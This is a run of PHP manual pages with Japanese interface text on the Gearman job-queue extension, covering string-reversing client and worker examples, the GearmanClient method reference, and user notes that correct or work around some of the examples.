    case GEARMAN_SUCCESS:
      echo "Success: $result\n";
      break;
    default:
      echo "RET: " . $gmclient->returnCode() . "\n";
      exit;
  }
}
while($gmclient->returnCode() != GEARMAN_SUCCESS);

?>
<?php

echo "Starting\n";

# Create our worker object.
$gmworker= new GearmanWorker();

# Add default server (localhost).
$gmworker->addServer();

# Register function "reverse" with the server. Change the worker function to
# "reverse_fn_fast" for a faster worker with no output.
$gmworker->addFunction("reverse", "reverse_fn");

print "Waiting for job...\n";
while($gmworker->work())
{
  if ($gmworker->returnCode() != GEARMAN_SUCCESS)
  {
    echo "return_code: " . $gmworker->returnCode() . "\n";
    break;
  }
}

function reverse_fn($job)
{
  echo "Received job: " . $job->handle() . "\n";

  $workload = $job->workload();
  $workload_size = $job->workloadSize();

  echo "Workload: $workload ($workload_size)\n";

  # This status loop is not needed, just showing how it works
  for ($x= 0; $x < $workload_size; $x++)
  {
    echo "Sending status: " . ($x + 1) . "/$workload_size complete\n";
    $job->sendStatus($x, $workload_size);
    sleep(1);
  }

  $result= strrev($workload);
  echo "Result: $result\n";

  # Return what we want to send back to the client.
  return $result;
}

# A much simpler and less verbose version of the above function would be:
function reverse_fn_fast($job)
{
  return strrev($job->workload());
}

?>

上の例の出力は、 たとえば以下のようになります。

% php reverse_worker.php
Starting
Waiting for job...
Received job: H:foo.local:36
Workload: Hello! (6)
Sending status: 1/6 complete
Sending status: 2/6 complete
Sending status: 3/6 complete
Sending status: 4/6 complete
Sending status: 5/6 complete
Sending status: 6/6 complete
Result: !olleH

% php reverse_client.php
Starting
Sending job
Status: 1/6 complete
Status: 2/6 complete
Status: 3/6 complete
Status: 4/6 complete
Status: 5/6 complete
Status: 6/6 complete
Success: !olleH

User Contributed Notes

dmitriy dot baibuhtin at ya dot ru 05-Nov-2016 10:35
An example of a client is invalid. Progress will not be displayed on the client side, as doNormal method is synchronous.
Code will be executed only after the completion doNormal.
<?php
 case GEARMAN_WORK_STATUS:
      list($numerator, $denominator)= $gmclient->doStatus();
      echo "Status: $numerator/$denominator complete\n";
      break;
?>


Basic Gearman client and worker, background

例1 Basic Gearman client and worker, background

This example shows a very simple client and worker. The client sends a string to the job server as a background job, and the worker reverses the string. Note that since the work is performed asynchronously, the client does not wait for the job to complete and exits (and hence the client never receives the results).

<?php

# create our client object
$gmclient= new GearmanClient();

# add the default server (localhost)
$gmclient->addServer();

# run reverse client in the background
$job_handle = $gmclient->doBackground("reverse", "this is a test");

if ($gmclient->returnCode() != GEARMAN_SUCCESS)
{
  echo "bad return code\n";
  exit;
}

echo "done!\n";

?>
<?php

echo "Starting\n";

# Create our worker object.
$gmworker= new GearmanWorker();

# Add default server (localhost).
$gmworker->addServer();

# Register function "reverse" with the server. Change the worker function to
# "reverse_fn_fast" for a faster worker with no output.
$gmworker->addFunction("reverse", "reverse_fn");

print "Waiting for job...\n";
while($gmworker->work())
{
  if ($gmworker->returnCode() != GEARMAN_SUCCESS)
  {
    echo "return_code: " . $gmworker->returnCode() . "\n";
    break;
  }
}

function reverse_fn($job)
{
  echo "Received job: " . $job->handle() . "\n";

  $workload = $job->workload();
  $workload_size = $job->workloadSize();

  echo "Workload: $workload ($workload_size)\n";

  # This status loop is not needed, just showing how it works
  for ($x= 0; $x < $workload_size; $x++)
  {
    echo "Sending status: " . ($x + 1) . "/$workload_size complete\n";
    $job->sendStatus($x, $workload_size);
    sleep(1);
  }

  $result= strrev($workload);
  echo "Result: $result\n";

  # Return what we want to send back to the client.
  return $result;
}

# A much simpler and less verbose version of the above function would be:
function reverse_fn_fast($job)
{
  return strrev($job->workload());
}

?>

上の例の出力は、 たとえば以下のようになります。

% php reverse_worker.php
Starting
Waiting for job...
Received job: H:foo.local:41
Workload: this is a test (14)
1/14 complete
2/14 complete
3/14 complete
4/14 complete
5/14 complete
6/14 complete
7/14 complete
8/14 complete
9/14 complete
10/14 complete
11/14 complete
12/14 complete
13/14 complete
14/14 complete
Result: tset a si siht

% php reverse_client_bg.php
done!

User Contributed Notes

There are no user contributed notes for this page.


Basic Gearman client and worker, submitting tasks

例1 Basic Gearman client and worker, submitting tasks

In this example, the basic reverse client extended to run two tasks in parallel. The reverse worker is unchanged except to add sending of data back during processing.

<?php

# create the gearman client
$gmc= new GearmanClient();

# add the default server (localhost)
$gmc->addServer();

# register some callbacks
$gmc->setCreatedCallback("reverse_created");
$gmc->setDataCallback("reverse_data");
$gmc->setStatusCallback("reverse_status");
$gmc->setCompleteCallback("reverse_complete");
$gmc->setFailCallback("reverse_fail");

# set some arbitrary application data
$data['foo'] = 'bar';

# add two tasks
$task= $gmc->addTask("reverse", "foo", $data);
$task2= $gmc->addTaskLow("reverse", "bar", NULL);

# run the tasks in parallel (assuming multiple workers)
if (! $gmc->runTasks())
{
    echo "ERROR " . $gmc->error() . "\n";
    exit;
}

echo "DONE\n";

function reverse_created($task)
{
    echo "CREATED: " . $task->jobHandle() . "\n";
}

function reverse_status($task)
{
    echo "STATUS: " . $task->jobHandle() . " - " . $task->taskNumerator() .
         "/" . $task->taskDenominator() . "\n";
}

function reverse_complete($task)
{
    echo "COMPLETE: " . $task->jobHandle() . ", " . $task->data() . "\n";
}

function reverse_fail($task)
{
    echo "FAILED: " . $task->jobHandle() . "\n";
}

function reverse_data($task)
{
    echo "DATA: " . $task->data() . "\n";
}

?>
<?php

echo "Starting\n";

# Create our worker object.
$gmworker= new GearmanWorker();

# Add default server (localhost).
$gmworker->addServer();

# Register function "reverse" with the server. Change the worker function to
# "reverse_fn_fast" for a faster worker with no output.
$gmworker->addFunction("reverse", "reverse_fn");

print "Waiting for job...\n";
while($gmworker->work())
{
  if ($gmworker->returnCode() != GEARMAN_SUCCESS)
  {
    echo "return_code: " . $gmworker->returnCode() . "\n";
    break;
  }
}

function reverse_fn($job)
{
  echo "Received job: " . $job->handle() . "\n";

  $workload = $job->workload();
  $workload_size = $job->workloadSize();

  echo "Workload: $workload ($workload_size)\n";

  # This status loop is not needed, just showing how it works
  for ($x= 0; $x < $workload_size; $x++)
  {
    echo "Sending status: " . ($x + 1) . "/$workload_size complete\n";
    $job->sendStatus($x+1, $workload_size);
    $job->sendData(substr($workload, $x, 1));
    sleep(1);
  }

  $result= strrev($workload);
  echo "Result: $result\n";

  # Return what we want to send back to the client.
  return $result;
}

# A much simpler and less verbose version of the above function would be:
function reverse_fn_fast($job)
{
  return strrev($job->workload());
}

?>

上の例の出力は、 たとえば以下のようになります。

% php reverse_worker.php
Starting
Waiting for job...
Received job: H:foo.local:45
Workload: foo (3)
1/3 complete
2/3 complete
3/3 complete
Result: oof
Received job: H:foo.local:44
Workload: bar (3)
1/3 complete
2/3 complete
3/3 complete
Result: rab

% php reverse_client_task.php
CREATED: H:foo.local:44
CREATED: H:foo.local:45
STATUS: H:foo.local:45 - 1/3
DATA: f
STATUS: H:foo.local:45 - 2/3
DATA: o
STATUS: H:foo.local:45 - 3/3
DATA: o
COMPLETE: H:foo.local:45, oof
STATUS: H:foo.local:44 - 1/3
DATA: b
STATUS: H:foo.local:44 - 2/3
DATA: a
STATUS: H:foo.local:44 - 3/3
DATA: r
COMPLETE: H:foo.local:44, rab
DONE

User Contributed Notes

septerrianin at mail dot ru 11-Sep-2018 07:03
NOTE.
The register of the callback functions needs BEFORE add a task.

This example NOT working correctly:
<?php
# add tasks
$task= $gmc->addTask("reverse", "foo", $data);

# register some callbacks
$gmc->setCreatedCallback("reverse_created");
$gmc->setDataCallback("reverse_data");
$gmc->setStatusCallback("reverse_status");
$gmc->setCompleteCallback("reverse_complete");
$gmc->setFailCallback("reverse_fail");

# run the task
$gmc->runTasks();
?>


The GearmanClient class

(PECL gearman >= 0.5.0)

はじめに

Represents a class for connecting to a Gearman job server and making requests to perform some function on provided data. The function performed must be one registered by a Gearman worker and the data passed is opaque to the job server.

クラス概要

GearmanClient {
/* メソッド */
public addOptions ( int $options ) : bool
public addServer ( string $host = 127.0.0.1 , int $port = 4730 ) : bool
public addServers ( string $servers = 127.0.0.1:4730 ) : bool
public addTask ( string $function_name , string $workload , mixed &$context = ? , string $unique = ? ) : GearmanTask
public addTaskBackground ( string $function_name , string $workload , mixed &$context = ? , string $unique = ? ) : GearmanTask
public addTaskHigh ( string $function_name , string $workload , mixed &$context = ? , string $unique = ? ) : GearmanTask
public addTaskHighBackground ( string $function_name , string $workload , mixed &$context = ? , string $unique = ? ) : GearmanTask
public addTaskLow ( string $function_name , string $workload , mixed &$context = ? , string $unique = ? ) : GearmanTask
public addTaskLowBackground ( string $function_name , string $workload , mixed &$context = ? , string $unique = ? ) : GearmanTask
public addTaskStatus ( string $job_handle , string &$context = ? ) : GearmanTask
public clearCallbacks ( ) : bool
public clone ( ) : GearmanClient
public __construct ( )
public context ( ) : string
public data ( ) : string
public do ( string $function_name , string $workload , string $unique = ? ) : string
public doBackground ( string $function_name , string $workload , string $unique = ? ) : string
public doHigh ( string $function_name , string $workload , string $unique = ? ) : string
public doHighBackground ( string $function_name , string $workload , string $unique = ? ) : string
public doJobHandle ( ) : string
public doLow ( string $function_name , string $workload , string $unique = ? ) : string
public doLowBackground ( string $function_name , string $workload , string $unique = ? ) : string
public doNormal ( string $function_name , string $workload , string $unique = ? ) : string
public doStatus ( ) : array
public echo ( string $workload ) : bool
public error ( ) : string
public getErrno ( ) : int
public jobStatus ( string $job_handle ) : array
public ping ( string $workload ) : bool
public removeOptions ( int $options ) : bool
public returnCode ( ) : int
public runTasks ( ) : bool
public setClientCallback ( callable $callback ) : void
public setCompleteCallback ( callable $callback ) : bool
public setContext ( string $context ) : bool
public setCreatedCallback ( string $callback ) : bool
public setData ( string $data ) : bool
public setDataCallback ( callable $callback ) : bool
public setExceptionCallback ( callable $callback ) : bool
public setFailCallback ( callable $callback ) : bool
public setOptions ( int $options ) : bool
public setStatusCallback ( callable $callback ) : bool
public setTimeout ( int $timeout ) : bool
public setWarningCallback ( callable $callback ) : bool
public setWorkloadCallback ( callable $callback ) : bool
public timeout ( ) : int
public wait ( ) : bool
}

目次

  • GearmanClient::addOptions — Add client options
  • GearmanClient::addServer — Add a job server to the client
  • GearmanClient::addServers — Add a list of job servers to the client
  • GearmanClient::addTask — Add a task to be run in parallel
  • GearmanClient::addTaskBackground — Add a background task to be run in parallel
  • GearmanClient::addTaskHigh — Add a high priority task to run in parallel
  • GearmanClient::addTaskHighBackground — Add a high priority background task to be run in parallel
  • GearmanClient::addTaskLow — Add a low priority task to run in parallel
  • GearmanClient::addTaskLowBackground — Add a low priority background task to be run in parallel
  • GearmanClient::addTaskStatus — Add a task to get status
  • GearmanClient::clearCallbacks — Clear all task callback functions
  • GearmanClient::clone — Create a copy of a GearmanClient object
  • GearmanClient::__construct — Create a GearmanClient instance
  • GearmanClient::context — Get the application context
  • GearmanClient::data — Get the application data (deprecated)
  • GearmanClient::do — Run a single task and return a result [deprecated]
  • GearmanClient::doBackground — Run a task in the background
  • GearmanClient::doHigh — Run a single high priority task
  • GearmanClient::doHighBackground — Run a high priority task in the background
  • GearmanClient::doJobHandle — Get the job handle for the running task
  • GearmanClient::doLow — Run a single low priority task
  • GearmanClient::doLowBackground — Run a low priority task in the background
  • GearmanClient::doNormal — Run a single task and return a result
  • GearmanClient::doStatus — Get the status for the running task
  • GearmanClient::echo — Send data to all job servers to see if they echo it back [deprecated]
  • GearmanClient::error — Returns an error string for the last error encountered
  • GearmanClient::getErrno — Get an errno value
  • GearmanClient::jobStatus — Get the status of a background job
  • GearmanClient::ping — Send data to all job servers to see if they echo it back
  • GearmanClient::removeOptions — Remove client options
  • GearmanClient::returnCode — Get the last Gearman return code
  • GearmanClient::runTasks — Run a list of tasks in parallel
  • GearmanClient::setClientCallback — Callback function when there is a data packet for a task (deprecated)
  • GearmanClient::setCompleteCallback — Set a function to be called on task completion
  • GearmanClient::setContext — Set application context
  • GearmanClient::setCreatedCallback — Set a callback for when a task is queued
  • GearmanClient::setData — Set application data (deprecated)
  • GearmanClient::setDataCallback — Callback function when there is a data packet for a task
  • GearmanClient::setExceptionCallback — Set a callback for worker exceptions
  • GearmanClient::setFailCallback — Set callback for job failure
  • GearmanClient::setOptions — Set client options
  • GearmanClient::setStatusCallback — Set a callback for collecting task status
  • GearmanClient::setTimeout — Set socket I/O activity timeout
  • GearmanClient::setWarningCallback — Set a callback for worker warnings
  • GearmanClient::setWorkloadCallback — Set a callback for accepting incremental data updates
  • GearmanClient::timeout — Get current socket I/O activity timeout value
  • GearmanClient::wait — Wait for I/O activity on all connections in a client

User Contributed Notes

There are no user contributed notes for this page.


Add client options

  • ≪ GearmanClient
  • GearmanClient::addServer ≫
  • PHP Manual
  • GearmanClient
  • Add client options

GearmanClient::addOptions

(PECL gearman >= 0.6.0)

GearmanClient::addOptions — Add client options

説明

public GearmanClient::addOptions ( int $options ) : bool

Adds one or more options to those already set.

パラメータ

options

The options to add. One of the following constants, or a combination of them using the bitwise OR operator (|): GEARMAN_CLIENT_GENERATE_UNIQUE, GEARMAN_CLIENT_NON_BLOCKING, GEARMAN_CLIENT_UNBUFFERED_RESULT or GEARMAN_CLIENT_FREE_TASKS.

返り値

Always returns true.

User Contributed Notes

goran dot v dot miskovic at gmail dot com 08-Sep-2012 09:12
To add multiple options at once use pipe separated list.
<?php
$client = new GearmanClient();
$client->addOptions(GEARMAN_CLIENT_NON_BLOCKING | GEARMAN_CLIENT_FREE_TASKS | GEARMAN_CLIENT_UNBUFFERED_RESULT);
?>


Add a job server to the client

  • ≪ GearmanClient::addOptions
  • GearmanClient::addServers ≫
  • PHP Manual
  • GearmanClient
  • Add a job server to the client

GearmanClient::addServer

(PECL gearman >= 0.5.0)

GearmanClient::addServer — Add a job server to the client

説明

public GearmanClient::addServer ( string $host = 127.0.0.1 , int $port = 4730 ) : bool

Adds a job server to a list of servers that can be used to run a task. No socket I/O happens here; the server is simply added to the list.

パラメータ

host

ジョブサーバーのホスト名。

port

ジョブサーバーのポート番号。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 Adding two job servers

<?php

# Create our client object.
$gmclient= new GearmanClient();

# Add two job servers, the first on the default 4730 port
$gmclient->addServer("10.0.0.1");
$gmclient->addServer("10.0.0.2", 7003);

?>

参考

  • GearmanClient::addServers() - Add a list of job servers to the client

User Contributed Notes

michael at butlerpc dot net 21-May-2019 05:23
Prior to version 2.0.5, addServer DOES perform socket I/O indirectly because it calls set_server_option internally for an exception handler. This means if the server is unreachable you will get a GearmanException thrown at this point, and you may want to catch and handle it in your application.

<?php

$client->addServer('127.0.0.1', 4321); // does attempt a socket connection!

?>

Starting with version 2.0.5 of the extension, a third boolean argument (after $port) may be passed false in order to prevent this from happening.

<?php

$client->addServer('127.0.0.1', 4321, false); // no socket i/o happens here

?>
brainreflex at gmail dot com 04-Dec-2015 02:59
Amit, kosta250

I found a workaround to avoid the dead servers and continue with rest alive.

<?php

$servers = array(
  array('host' => '127.0.0.1', 'port' => '4730'),
  array('host' => '127.0.0.1', 'port' => '4731'),
  array('host' => '127.0.0.1', 'port' => '4732'),
  array('host' => '127.0.0.2', 'port' => '4730')
);

$client= new \GearmanClient();

foreach($servers as $server) {
  $c = new \GearmanClient();
  $c->addServer($server['host'], $server['port']);

  if (@$c->ping('ping')) {
    $client->addServer($server['host'], $server['port']);
  }
}

?>
kosta250 at gmail dot com 23-Nov-2015 12:14
Adding to Amit's comments,  I found that if the first server in the list of servers is down, then there seems to be no way to handle such a condition.
Peter 02-Mar-2015 11:18
Solution:
https://bugs.launchpad.net/gearmand/+bug/1118751
Amit 29-Oct-2013 06:19
The addServer and addServers are unforgiving when any of the addresses are down. I tried using exceptions, but it does not quite work. Can you provide a working example to handle a list of servers where one or more is not running.

Thanks
info at phpgangsta dot de 08-Apr-2013 11:22
Since a few versions the port parameter is not optional anymore. I have version 1.1.1 of pecl/gearman compiled with libgearman 1.1.5, and I'm getting the following error:

send_packet(GEARMAN_COULD_NOT_CONNECT) Failed to send server-options packet -> libgearman/connection.cc:430

This happens if you don't provide a port.

Just set the second parameter to 4730 and it is working again.


Add a list of job servers to the client

  • ≪ GearmanClient::addServer
  • GearmanClient::addTask ≫
  • PHP Manual
  • GearmanClient
  • Add a list of job servers to the client

GearmanClient::addServers

(PECL gearman >= 0.5.0)

GearmanClient::addServers — Add a list of job servers to the client

説明

public GearmanClient::addServers ( string $servers = 127.0.0.1:4730 ) : bool

Adds a list of job servers that can be used to run a task. No socket I/O happens here; the servers are simply added to the full list of servers.

パラメータ

servers

A comma-separated list of servers, each server specified in the format 'host:port'.

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 Add two job servers

<?php

# Create our client object.
$gmclient= new GearmanClient();

# Add multiple job servers, the first on the default 4730 port
$gmclient->addServers("10.0.0.1,10.0.0.2:7003");

?>

参考

  • GearmanClient::addServer() - Add a job server to the client

User Contributed Notes

littlexiang521 at gmail dot com 21-Feb-2014 08:00
actually client side will throw an exception when any of the servers is down or unreachable instead like

Fatal error: Uncaught exception 'GearmanException' with message 'Failed to set exception option' in /var/www/ipao/Api/Q2/Test/gm-test.php:11
Stack trace:
#0 /var/www/ipao/Api/Q2/Test/gm-test.php(11): GearmanClient->addServer('xxx.xxx.xxx.xxx')
#1 {main}
jachimcoudenys at gmail dot com 30-Jul-2013 08:14
If you supply more than one server, it will always take the last server, unless it is unavailable. This is the way gearman works (and it is generally not a bad idea).

If you want to spread the jobs over multiple servers, you might want to shuffle the list of servers.


Add a task to be run in parallel

  • ≪ GearmanClient::addServers
  • GearmanClient::addTaskBackground ≫
  • PHP Manual
  • GearmanClient
  • Add a task to be run in parallel

GearmanClient::addTask

(PECL gearman >= 0.5.0)

GearmanClient::addTask — Add a task to be run in parallel

説明

public GearmanClient::addTask ( string $function_name , string $workload , mixed &$context = ? , string $unique = ? ) : GearmanTask

Adds a task to be run in parallel with other tasks. Call this method for all the tasks to be run in parallel, then call GearmanClient::runTasks() to perform the work. Note that enough workers need to be available for the tasks to all run in parallel.

パラメータ

function_name

ワーカーが実行するために登録した関数。

workload

シリアライズしたデータ。

context

タスクに関連づけるアプリケーションコンテキスト。

unique

タスクを特定するために用いる一意な ID。

返り値

A GearmanTask object or false if the task could not be added.

例

例1 Basic submission of two tasks

<?php

# Create our gearman client
$gmclient= new GearmanClient();

# add the default job server
$gmclient->addServer();

# set a function to be called when the work is complete
$gmclient->setCompleteCallback("complete");

# add a task to perform the "reverse" function on the string "Hello World!"
$gmclient->addTask("reverse", "Hello World!", null, "1");

# add another task to perform the "reverse" function on the string "!dlroW olleH"
$gmclient->addTask("reverse", "!dlroW olleH", null, "2");

# run the tasks
$gmclient->runTasks();

function complete($task)
{
  print "COMPLETE: " . $task->unique() . ", " . $task->data() . "\n";
}

?>

上の例の出力は、 たとえば以下のようになります。

COMPLETE: 2, Hello World!
COMPLETE: 1, !dlroW olleH

例2 Basic submission of two tasks with passing application context

<?php

$client = new GearmanClient();
$client->addServer();

# set a function to be called when the work is complete
$client->setCompleteCallback("reverse_complete");

# Add some tasks for a placeholder of where to put the results
$results = array();
$client->addTask("reverse", "Hello World!", &$results, "t1");
$client->addTask("reverse", "!dlroW olleH", &$results, "t2");

$client->runTasks();

# The results should now be filled in from the callbacks
foreach ($results as $id => $result)
   echo $id . ": " . $result['handle'] . ", " . $result['data'] . "\n";

function reverse_complete($task, $results)
{
   $results[$task->unique()] = array("handle"=>$task->jobHandle(), "data"=>$task->data());
}

?>

上の例の出力は、 たとえば以下のようになります。

t2: H.foo:21, Hello World!
t1: H:foo:22, !dlroW olleH

参考

  • GearmanClient::addTaskHigh() - Add a high priority task to run in parallel
  • GearmanClient::addTaskLow() - Add a low priority task to run in parallel
  • GearmanClient::addTaskBackground() - Add a background task to be run in parallel
  • GearmanClient::addTaskHighBackground() - Add a high priority background task to be run in parallel
  • GearmanClient::addTaskLowBackground() - Add a low priority background task to be run in parallel
  • GearmanClient::runTasks() - Run a list of tasks in parallel

User Contributed Notes

liv_romania at yahoo dot com 19-Jul-2015 12:08
On PHP 5.5 you can use the following code for passing context by reference and avoid "Call-time pass-by-reference has been removed":

<?php
$client = new GearmanClient();
$client->addServer();

# Set a function to be called when the work is complete
$client->setCompleteCallback("reverse_complete");

# Use StdClass instead of array
$results = new StdClass();
$results->value = array();

# Add some tasks for a placeholder of where to put the results
$client->addTask("reverse", "Hello World!", $results, "t1");
$client->addTask("reverse", "!dlroW olleH", $results, "t2");

$client->runTasks();

# The results should now be filled in from the callbacks
foreach ($results->value as $id => $result) {
    echo $id . ": " . $result['handle'] . ", " . $result['data'] . "\n";
}

function reverse_complete(GearmanTask $task, StdClass $results)
{
    $results->value[$task->unique()] = array(
        "handle" => $task->jobHandle(),
        "data" => $task->data()
    );
}
?>
stanislav dot reshetnev at gmail dot com 31-Oct-2014 04:17
Note that param $unique must be different for multiple tasks if You want to run they all separately. If param $unique is equal for multiple tasks You will get the same task:

<?php
  $unique=1;

  $gclient = GearmanClient();
  $gclient->addServer('srv');

  $this->setCreatedCallback(function(GearmanTask $task) {
    print $task->jobHandle() . "\n";
  });

  $gclient->addTask('function_name', 'workload', null, $unique);
  $gclient->addTask('function_name', 'workload', null, $unique);
  $gclient->addTask('function_name', 'workload', null, $unique);
  $gclient->runTasks();

  sleep(5);
?>

This sript will print only one handler:

H:srv:377382343
H:srv:377382343
H:srv:377382343
Jeremy Zerr 15-Nov-2013 06:14
As of PHP 5.3.0, you will get a warning saying that "call-time pass-by-reference" is deprecated when you use & in $client->addTask(..., ..., &$results, ...);. And as of PHP 5.4.0, call-time pass-by-reference was removed, so using it will raise a fatal error.

So that means that when you call addTask with a context parameter as in the example above like this:

<?php
# Add some tasks for a placeholder of where to put the results
$results = array();
$client->addTask("reverse", "Hello World!", &$results, "t1");
?>

You get this "call-time pass-by-reference" warning (or error).  This can be avoided and still result in functional code by changing the context variable to be an object so that it is passed by reference like this:

<?php
$results = new \stdClass();
$client->addTask("reverse", "Hello World!", $results, "t1");
?>

Then for completeness, change the complete handler to expect a reference:

<?php
function reverse_complete($task, &$results) { ... }
?>

Then inside the complete handler, you can use the $results object to save your results to be accessible outside the complete handler.


Add a background task to be run in parallel

  • ≪ GearmanClient::addTask
  • GearmanClient::addTaskHigh ≫
  • PHP Manual
  • GearmanClient
  • Add a background task to be run in parallel

GearmanClient::addTaskBackground

(PECL gearman >= 0.5.0)

GearmanClient::addTaskBackground — Add a background task to be run in parallel

説明

public GearmanClient::addTaskBackground ( string $function_name , string $workload , mixed &$context = ? , string $unique = ? ) : GearmanTask

Adds a background task to be run in parallel with other tasks. Call this method for all the tasks to be run in parallel, then call GearmanClient::runTasks() to perform the work.

パラメータ

function_name

ワーカーが実行するために登録した関数。

workload

シリアライズしたデータ。

context

タスクに関連づけるアプリケーションコンテキスト。

unique

タスクを特定するために用いる一意な ID。

返り値

A GearmanTask object or false if the task could not be added.

例

例1 Two tasks, one background and one not

This example illustrates the difference between running a background task and a normal task. The client adds two tasks to execute the same function, but one is added with addTaskBackground(). A callback is set so that progress of the job can be tracked. A simple worker with an artificial delay reports on the job progress and the client picks this up through the callback. Two workers are run for this example. Note that the background task does not show in the client output.

<?php

# The client script

# create our gearman client
$gmc= new GearmanClient();

# add the default job server
$gmc->addServer();

# set a couple of callbacks so we can track progress
$gmc->setCompleteCallback("reverse_complete");
$gmc->setStatusCallback("reverse_status");

# add a task for the "reverse" function
$task= $gmc->addTask("reverse", "Hello World!", null, "1");

# add another task, but this one to run in the background
$task= $gmc->addTaskBackground("reverse", "!dlroW olleH", null, "2");

if (! $gmc->runTasks())
{
    echo "ERROR " . $gmc->error() . "\n";
    exit;
}

echo "DONE\n";

function reverse_status($task)
{
    echo "STATUS: " . $task->unique() . ", " . $task->jobHandle() . " - " . $task->taskNumerator() .
         "/" . $task->taskDenominator() . "\n";
}

function reverse_complete($task)
{
    echo "COMPLETE: " . $task->unique() . ", " . $task->data() . "\n";
}

?>
<?php

# The worker script

echo "Starting\n";

# Create our worker object.
$gmworker= new GearmanWorker();

# Add default server (localhost).
$gmworker->addServer();

# Register function "reverse" with the server.
$gmworker->addFunction("reverse", "reverse_fn");

print "Waiting for job...\n";
while($gmworker->work())
{
  if ($gmworker->returnCode() != GEARMAN_SUCCESS)
  {
    echo "return_code: " . $gmworker->returnCode() . "\n";
    break;
  }
}

function reverse_fn($job)
{
  echo "Received job: " . $job->handle() . "\n";

  $workload = $job->workload();
  $workload_size = $job->workloadSize();

  echo "Workload: $workload ($workload_size)\n";

  # This status loop is not needed, just showing how it works
  for ($x= 0; $x < $workload_size; $x++)
  {
    echo "Sending status: " . ($x + 1) . "/$workload_size complete\n";
    $job->sendStatus($x+1, $workload_size);
    $job->sendData(substr($workload, $x, 1));
    sleep(1);
  }

  $result= strrev($workload);
  echo "Result: $result\n";

  # Return what we want to send back to the client.
  return $result;
}

?>

Worker output for two workers running:

Received job: H:foo.local:65
Workload: !dlroW olleH (12)
1/12 complete
Received job: H:foo.local:66
Workload: Hello World! (12)
Sending status: 1/12 complete
Sending status: 2/12 complete
Sending status: 2/12 complete
Sending status: 3/12 complete
Sending status: 3/12 complete
Sending status: 4/12 complete
Sending status: 4/12 complete
Sending status: 5/12 complete
Sending status: 5/12 complete
Sending status: 6/12 complete
Sending status: 6/12 complete
Sending status: 7/12 complete
Sending status: 7/12 complete
Sending status: 8/12 complete
Sending status: 8/12 complete
Sending status: 9/12 complete
Sending status: 9/12 complete
Sending status: 10/12 complete
Sending status: 10/12 complete
Sending status: 11/12 complete
Sending status: 11/12 complete
Sending status: 12/12 complete
Sending status: 12/12 complete
Result: !dlroW olleH
Result: Hello World!

Client output:

STATUS: 1, H:foo.local:66 - 1/12
STATUS: 1, H:foo.local:66 - 2/12
STATUS: 1, H:foo.local:66 - 3/12
STATUS: 1, H:foo.local:66 - 4/12
STATUS: 1, H:foo.local:66 - 5/12
STATUS: 1, H:foo.local:66 - 6/12
STATUS: 1, H:foo.local:66 - 7/12
STATUS: 1, H:foo.local:66 - 8/12
STATUS: 1, H:foo.local:66 - 9/12
STATUS: 1, H:foo.local:66 - 10/12
STATUS: 1, H:foo.local:66 - 11/12
STATUS: 1, H:foo.local:66 - 12/12
COMPLETE: 1, !dlroW olleH
DONE

参考

  • GearmanClient::addTask() - Add a task to be run in parallel
  • GearmanClient::addTaskHigh() - Add a high priority task to run in parallel
  • GearmanClient::addTaskLow() - Add a low priority task to run in parallel
  • GearmanClient::addTaskHighBackground() - Add a high priority background task to be run in parallel
  • GearmanClient::addTaskLowBackground() - Add a low priority background task to be run in parallel
  • GearmanClient::runTasks() - Run a list of tasks in parallel

User Contributed Notes

iunknowvb at gmail dot com 07-Oct-2017 06:35
function run_process($cmd,$outputFile = '/dev/null', $append = false){
                        $pid=0;
                    if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {//'This is a server using Windows!';
                            $cmd = 'wmic process call create "'.$cmd.'" | find "ProcessId"';
                            $handle = popen("start /B ". $cmd, "r");
                            $read = fread($handle, 200); //Read the output
                            $pid=substr($read,strpos($read,'=')+1);
                            $pid=substr($pid,0,strpos($pid,';') );
                            $pid = (int)$pid;
                            pclose($handle); //Close
                    }else{
                        $pid = (int)shell_exec(sprintf('%s %s %s 2>&1 & echo $!', $cmd, ($append) ? '>>' : '>', $outputFile));
                    }
                        return $pid;
                }
                function is_process_running($pid){
                    if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {//'This is a server using Windows!';
                            //tasklist /FI "PID eq 6480"
                        $result = shell_exec('tasklist /FI "PID eq '.$pid.'"' );
                        if (count(preg_split("/\n/", $result)) > 0 && !preg_match('/No tasks/', $result)) {
                            return true;
                        }
                    }else{
                        $result = shell_exec(sprintf('ps %d 2>&1', $pid));
                        if (count(preg_split("/\n/", $result)) > 2 && !preg_match('/ERROR: Process ID out of range/', $result)) {
                            return true;
                        }
                    }
                    return false;
                }
                function stop_process($pid){
                        if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {//'This is a server using Windows!';
                                $result = shell_exec('taskkill /PID '.$pid );
                            if (count(preg_split("/\n/", $result)) > 0 && !preg_match('/No tasks/', $result)) {
                                return true;
                            }
                        }else{
                                $result = shell_exec(sprintf('kill %d 2>&1', $pid));
                            if (!preg_match('/No such process/', $result)) {
                                return true;
                            }
                        }
                }
                    $cmd='';
                    if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {//'This is a server using Windows!';
                         $cmd=  $php_path.'\php.exe '.$path.'\long_process.php' ;
                    }else{
                        $cmd='/usr/bin/php -f  /var/www/example.com/public/long_process.php';
                    }

$pid=run_process($cmd);
raitech at gmail dot com 12-Nov-2015 10:47
This method seems only useful when you doesn't need to know something about the worker, when you can let runTasks() finishes its code and destroy the GearmanClient object without a problem.

If you need to get data from worker via callbacks, forget it after runTasks() finishes.

You have to block your execution in the GearmanClient "main loop", so it can call the callbacks. It seems that runTasks() is that "main loop".
Anonymous 31-Aug-2015 08:02
It is unlikely this example works quite as advertised.

The foreground job will block, however the background job should not.. (and if it does that's not documented Gearman behaviour far as I know and would not make sense for a Background job).

So, if the foreground job completes, then we would expect runTasks() to return at that moment, regardless of the status of the background job(s). With nothing else to do, the php script (the client) in this example would exit at that point.

To fully-utilize background jobs, it's reasonable to assume that we still wish to know their status. To do that, you need a polling loop that "checks up on them" and waits until their completion.

That eliminates the point of background jobs of course - because the client would still be Blocking (in a polling loop) more or less occupied, and unable to exit/finish.

So, in practice, background jobs mean you are decoupled from the client upon execution (because the main point is to free up the client, otherwise just use foreground execution), which means the client is likely going to exit, meaning the jobs themselves should be reporting their status and final result independently, not leaving it up to the client.

It's a significantly different setup compared to foreground jobs. In fact this example is kind of silly to even mix the two.

Nobody will ever see this post, because apparently nobody in the world has ever commented on the php gearman client, but it's a good post never the less.


